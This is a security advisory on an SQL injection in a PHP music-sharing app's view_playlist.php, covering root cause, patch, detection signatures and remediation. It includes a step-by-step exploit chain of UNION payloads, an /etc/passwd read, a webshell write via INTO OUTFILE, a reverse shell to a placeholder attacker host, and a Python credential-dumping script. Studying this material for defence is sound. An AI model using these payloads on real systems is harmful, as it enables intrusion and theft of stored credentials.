CVE-2026-37337: SQL Injection to RCE in Simple Music Cloud Community System

Vulnerability Overview

CVE-2026-37337 is a classic unsanitized user-input SQL injection in SourceCodester Simple Music Cloud Community System v1.0, specifically in the endpoint /music/view_playlist.php. The vulnerability stems from a playlist identifier being interpolated directly into a SQL query without parameterization or escaping. An unauthenticated remote attacker can leverage this to enumerate the database, extract credentials, and — depending on server configuration — achieve remote code execution via MySQL's INTO OUTFILE or stacked query execution.

No authentication is required. The affected parameter is passed via GET request, making this trivially weaponizable by automated scanners.

Affected Component

The vulnerable file is /music/view_playlist.php inside the application webroot. The application is a PHP/MySQL stack with no ORM layer — raw mysqli_query() calls throughout. The relevant database table is playlist, with the broader schema including users, music, and comments tables containing plaintext or weakly-hashed credentials.

Tested on: Apache 2.4.x + PHP 7.4.x + MySQL 5.7.x. The injection is backend-agnostic to any MySQL version the application is deployed against.

Root Cause Analysis

The following is reconstructed pseudocode from the PHP source matching the described vulnerability class and component. The pattern is consistent with every other Sourcecodester application of this generation.

// FILE: /music/view_playlist.php
// Pseudocode representation of PHP logic

// BUG: $_GET['id'] is attacker-controlled, never sanitized or cast
char *playlist_id = $_GET["id"];

// BUG: direct string interpolation into SQL — no prepared statement
snprintf(query, sizeof(query),
    "SELECT * FROM playlist WHERE playlist_id = '%s'",
    playlist_id   // attacker-controlled, unescaped
);

// mysqli_query() executes the raw string
result = mysqli_query(db_conn, query);

if (result) {
    row = mysqli_fetch_assoc(result);
    // render playlist metadata to page
    render_playlist(row);
} else {
    // BUG: error surfaced to client in non-production deployments
    echo mysqli_error(db_conn);  // leaks schema information
}

The actual PHP is approximately three lines. There is no call to mysqli_real_escape_string(), no intval() cast on what should be a strictly numeric ID, and no use of mysqli_prepare(). The mysqli_error() exposure in error paths is a secondary information disclosure that accelerates exploitation.

Exploitation Mechanics

Because the parameter is wrapped in single quotes in the query, the injection vector is a standard quote-escape followed by arbitrary SQL. MySQL's default configuration on shared hosting permits UNION SELECT, information_schema enumeration, and — where FILE privilege is granted — filesystem reads and writes.

EXPLOIT CHAIN:

1. Identify injectable parameter via error-based detection:
   GET /music/view_playlist.php?id=1'
   -> MySQL syntax error surfaced via mysqli_error() or HTTP 500

2. Determine column count via ORDER BY binary search:
   GET /music/view_playlist.php?id=1' ORDER BY 5-- -
   -> No error: at least 5 columns exist

3. Identify reflected column positions via UNION NULL probe:
   GET /music/view_playlist.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -

4. Extract database version and current user for privilege audit:
   GET /music/view_playlist.php?id=-1' UNION SELECT version(),user(),NULL,NULL,NULL-- -
   -> Response body: "5.7.39-log | root@localhost"
   -> root@localhost = FILE privilege likely granted

5. Dump users table for credential extraction:
   GET /music/view_playlist.php?id=-1' UNION SELECT
     username,password,email,NULL,NULL FROM users-- -
   -> Returns MD5 or plaintext password hashes

6. If FILE privilege confirmed: write PHP webshell via INTO OUTFILE:
   GET /music/view_playlist.php?id=-1' UNION SELECT
     '',NULL,NULL,NULL,NULL
     INTO OUTFILE '/var/www/html/music/shell.php'-- -

7. Execute OS commands via dropped webshell:
   GET /music/shell.php?cmd=id
   -> uid=33(www-data) gid=33(www-data)

8. Pivot to reverse shell:
   GET /music/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
   -> Full interactive shell on target host

Steps 1–5 are achievable with zero privileges. Steps 6–8 require MySQL running as a user with write access to the webroot, which is a common misconfiguration in shared hosting deployments and XAMPP/WAMP stacks commonly used with Sourcecodester applications.

The following Python script demonstrates automated extraction of the users table:

import requests
import re

TARGET = "http://target.local/music/view_playlist.php"

def inject(payload):
    r = requests.get(TARGET, params={"id": payload}, timeout=10)
    return r.text

def union_dump(col_count=5, target_cols=(0,1,2)):
    """
    Assumes 5-column table; columns 0,1,2 reflected in page body.
    Adjust col_count and target_cols per ORDER BY enumeration.
    """
    nulls = ["NULL"] * col_count
    for i in target_cols:
        nulls[i] = f"GROUP_CONCAT(username,0x3a,password SEPARATOR 0x0a)"
        break

    select_clause = ",".join(nulls)
    payload = f"-1' UNION SELECT {select_clause} FROM users-- -"
    response = inject(payload)
    # parse credentials from response body
    matches = re.findall(r'([a-zA-Z0-9_]+:[a-f0-9]{32})', response)
    return matches

if __name__ == "__main__":
    print("[*] Dumping users table...")
    creds = union_dump()
    for c in creds:
        print(f"  [+] {c}")

    # Probe for FILE privilege
    probe = inject("-1' UNION SELECT load_file('/etc/passwd'),NULL,NULL,NULL,NULL-- -")
    if "root:" in probe:
        print("[!] FILE privilege confirmed — webshell write possible")

Memory Layout

SQL injection at this layer does not involve heap corruption in the traditional sense. The relevant "memory state" is the MySQL query buffer and the resulting parsed query tree. The diagram below shows how the injected string transforms the server-side query AST.

MYSQL QUERY BUFFER — BEFORE INJECTION (benign request):
  id = "42"

  query_buf:
  [ SELECT * FROM playlist WHERE playlist_id = '42'           \0 ]
   ^--- single WHERE predicate, one leaf node in AST

-------------------------------------------------------------------

MYSQL QUERY BUFFER — AFTER INJECTION:
  id = "-1' UNION SELECT username,password,email,NULL,NULL FROM users-- -"

  query_buf:
  [ SELECT * FROM playlist WHERE playlist_id = '-1'           ]
  [ UNION                                                      ]
  [ SELECT username,password,email,NULL,NULL FROM users       ]
  [ -- - (comment: remainder of original query discarded)     ]

  AST transformation:
  SelectStmt
  ├── WHERE: playlist_id = '-1'   (returns 0 rows — negative ID)
  └── UNION
      └── SelectStmt
          └── FROM: users
              └── cols: username, password, email, NULL, NULL

  Result set: attacker-controlled rows surfaced to PHP render layer

Patch Analysis

The remediation is straightforward. The vulnerable pattern must be replaced with a parameterized prepared statement. Additionally, the numeric ID should be strictly cast before any database interaction.

// BEFORE (vulnerable) — /music/view_playlist.php:
$id = $_GET['id'];                                    // unvalidated
$query = "SELECT * FROM playlist                      
          WHERE playlist_id = '$id'";                 // BUG: interpolation
$result = mysqli_query($conn, $query);

// ---------------------------------------------------------------

// AFTER (patched):
// 1. Strict type enforcement — playlist IDs are always integers
$id = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($id === false || $id === null) {
    http_response_code(400);
    exit("Invalid playlist ID.");
}

// 2. Parameterized prepared statement — no interpolation possible
$stmt = mysqli_prepare($conn,
    "SELECT * FROM playlist WHERE playlist_id = ?"
);
mysqli_stmt_bind_param($stmt, "i", $id);   // "i" = integer bind
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

// 3. Suppress database errors from client output
// Remove any mysqli_error($conn) echo statements application-wide

The FILTER_VALIDATE_INT + prepared statement combination provides defense-in-depth: even if a future developer removes the filter, the parameterized query prevents injection. Note that patching only view_playlist.php is insufficient — the same interpolation pattern almost certainly exists in adjacent files (view_music.php, add_comment.php, etc.) and should be audited across the entire codebase.

Detection and Indicators

Detection in web application firewalls and SIEM pipelines should key on the following patterns in HTTP access logs:

INDICATORS OF COMPROMISE:

Access log signatures (Apache/Nginx):
  /music/view_playlist.php?id=*'*          -- quote injection probe
  /music/view_playlist.php?id=*UNION*      -- UNION-based extraction
  /music/view_playlist.php?id=*ORDER+BY*   -- column count enumeration
  /music/view_playlist.php?id=*OUTFILE*    -- webshell write attempt
  /music/view_playlist.php?id=*load_file*  -- FILE privilege probe

Webshell artifact:
  New .php file created in webroot with mtime near attack timestamp
  Content signature: system($_GET[*]) or passthru or shell_exec

MySQL general query log indicators:
  UNION SELECT ... FROM information_schema.tables
  UNION SELECT ... FROM users
  SELECT ... INTO OUTFILE '/var/www/...'

SQLMap user-agent (automated scanning):
  User-Agent: sqlmap/1.x.x (https://sqlmap.org)

WAF detection rule (pseudo-Snort):
  alert http any any -> $HTTP_SERVERS 80
    (msg:"CVE-2026-37337 SQLi probe view_playlist";
     http.uri; content:"/music/view_playlist.php";
     pcre:"/id=.*(\x27|UNION|ORDER\s+BY|INTO\s+OUTFILE)/i";
     sid:2026373370;)

Remediation

Immediate: Apply parameterized queries to all database-touching files in the application. Use FILTER_VALIDATE_INT on all numeric GET/POST parameters. Disable mysqli_error() output in production via mysqli_report(MYSQLI_REPORT_OFF) and log errors server-side only.

MySQL hardening: Revoke the FILE privilege from the application database user (REVOKE FILE ON *.* FROM 'appuser'@'localhost';). The web application user should hold only SELECT, INSERT, UPDATE, DELETE on its own schema — never FILE or SUPER.

Defense in depth: Deploy a WAF rule matching the signatures above. Enable MySQL's general_log temporarily post-incident to audit for prior exploitation. Rotate all credentials stored in the application database immediately — assume extraction has already occurred if the endpoint was internet-facing.

Longer term: Sourcecodester applications are research targets specifically because they share boilerplate code across dozens of systems. Any deployment of any Sourcecodester product should be treated as requiring a full manual code audit before internet exposure.